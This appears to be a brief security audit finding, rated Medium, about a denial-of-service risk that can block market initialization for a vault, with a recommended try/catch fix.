Medium, it is possible to DoS market initialization, which will prevent storing the corresponding market for the given vault, preventing such vault from being used.
No response
Consider implementing a try/catch statement. If the market creation fails, it will mean the market was already created, allowing configuration to still be performed